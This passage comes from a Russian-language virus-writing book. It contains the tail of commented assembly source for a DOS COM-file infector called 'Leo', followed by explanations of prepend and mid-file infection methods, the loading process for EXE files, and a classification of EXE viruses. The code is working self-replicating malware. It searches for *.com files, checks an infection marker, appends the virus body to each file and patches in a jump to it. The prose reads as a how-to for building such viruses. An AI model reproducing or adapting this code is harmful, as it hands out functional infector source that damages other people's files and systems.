mov ah,3Fh
xor cx,cx
inc cx
mov dx,offset bytik–offset myself
add dx,bp
int 21h
;Если при чтении файла ошибок
;не произошло – проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если нет – будем заражать
jne Not_infected
jmp find_next
;Файл не заражен – будем заражать
Not_infected:
mov ax,[bp+(offset flen−offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd−offset myself)],ax
I_am_copy:
;Переходим в конец файла
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Устанавливаем регистр DS на сегмент кода
push cs
pop ds
;Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd–offset la
mov dx,bp
sub dx,offset myself−offset la
int 21h
;Записываем в начало файла переход на тело вируса
Write_Jmp:
;Переходим в начало файла
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov cx,3
mov dx,offset jmpvir–offset myself
add dx,bp
int 21h
;Закрываем файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop cx
int 21h
exit:
;Восстанавливаем первоначальные значения регистров и флагов
pop es ds
popa
popf
;Передаем управление программе−носителю
push 100h
retn
;Байт для чтения сигнатуры
bytik db (?)
;Зарезервировано для изменения трех байт вируса
jmpvir db 0E9h
jmp_cmd dw (?)
;Длина файла
flen dw (?)
;Шаблон для поиска файлов
fname db "*.com",0
;Область для хранения команды перехода
bytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого байта файла
;с целью проверки (E9h)
buf db (?)
;Название вируса
virus_name db "Leo"
;Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Способы внедрения COM-вирусов
Рассмотренный вирус дописывался в конец файла, а в начало файла вписывал переход на себя. Существуют и другие способы внедрения вирусов.
Рассмотрим два варианта внедрения COM-вируса в начало файла. Вариант первый. Вирус переписывает начало программы в конец файла, чтобы освободить место для себя. После этого тело вируса записывается в начало файла, а небольшая его часть, обеспечивающая перенос вытесненного фрагмента программы, на прежнее место – в конец. При восстановлении первоначального вида программы тело вируса будет затерто, поэтому код вируса, восстанавливающий программу, должен находиться в безопасном месте, отдельно от основного тела вируса. Этот способ внедрения изображен на рис. 1.3.

Рис. 1.3
При загрузке зараженного таким способом файла управление получит вирус (так как он находится в начале файла и будет загружен с адреса 0100h). После окончания работы вирус передает управление коду, переносящему вытесненную часть программы на прежнее место. После восстановления (в памяти, не в файле) первоначального вида программы, она запускается. Схема работы вируса изображена на рис. 1.4.

Рис. 1.4
Второй вариант отличается от первого тем, что вирус, освобождая для себя место, сдвигает все тело программы, а не переносит ее часть в конец файла. Этот способ внедрения изображен на рис. 1.5.

Рис. 1.5
После запуска зараженной программы, как и в предыдущем случае, управление получает вирус. Дальнейшая работа вируса отличается только тем, что часть вируса, восстанавливающая первоначальный вид программы, переносит к адресу 0100h все тело программы, а не только вытесненную часть. Схема работы вируса, заражающего файл таким образом, приведена на рис. 1.6.

Рис. 1.6
Существуют разновидности вирусов, не дописывающие часть своего тела в конец файла. К примеру, вирус может внедряться в середину файла. В этом случае алгоритм работы вируса является смесью алгоритмов одного из двух только что описанных вирусов и вируса, описанного в разделе "Простейший COM-вирус".
Глава 2 EXE-вирусы
В этой главе рассказано о вирусах, заражающих EXE-файлы. Приведена классификация таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки. Для каждого типа вирусов представлены исходные тексты с подробными комментариями. Также приведены основные сведения о структуре и принципах работы EXE-программы.
COM-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пугающие своими размерами EXE-"монстры". Появились и вирусы, умеющие заражать EXE-файлы.
Структура и процесс загрузки EXE-программы
В отличие от COM-программ, EXE-программы могут состоять из нескольких сегментов (кодов, данных, стека). Они могут занимать больше 64Кбайт.
EXE-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки EXE-файла, и таблицы для настройки адресов (Relocation Table). Таблица состоит из значений в формате сегмент: смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память должен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске EXE-программы системным загрузчиком (вызовом функции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегмент:0000h – PSP; сегмент+0010h:0000h – программа). В поля PSP заносятся соответствующие значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика считывается форматированная часть заголовка EXE-файла.
6. Вычисляется длина загрузочного модуля по формуле: Size=((PageCnt*512)–(HdrSize*16))–PartPag.
7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16.
8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+10h.
9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELO_SEG=START_SEG+I_SEG;
c) читается слово по адресу RELO_SEG:I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11. Распределяется память для программы в соответствии с MaxMem и MinMem.
12. Инициализируются регистры, выполняется программа:
a) ES=DS=PSP;
b) АХ=результат проверки правильности идентификаторов драйверов, указанных в командной строке;
c) SS=START_SEG+ReloSS, SP=ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
Классификация EXE-вирусов
EXE-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма.
Вирусы, замещающие программный код (Overwrite)
Такие вирусы уже стали раритетом. Главный их недостаток – слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найденный файл для редактирования и записывает свое тело в начало программы, не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению не подлежат.
Вирусы-спутники (Companion)
Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмотрим более подробно два типа вирусов этой группы: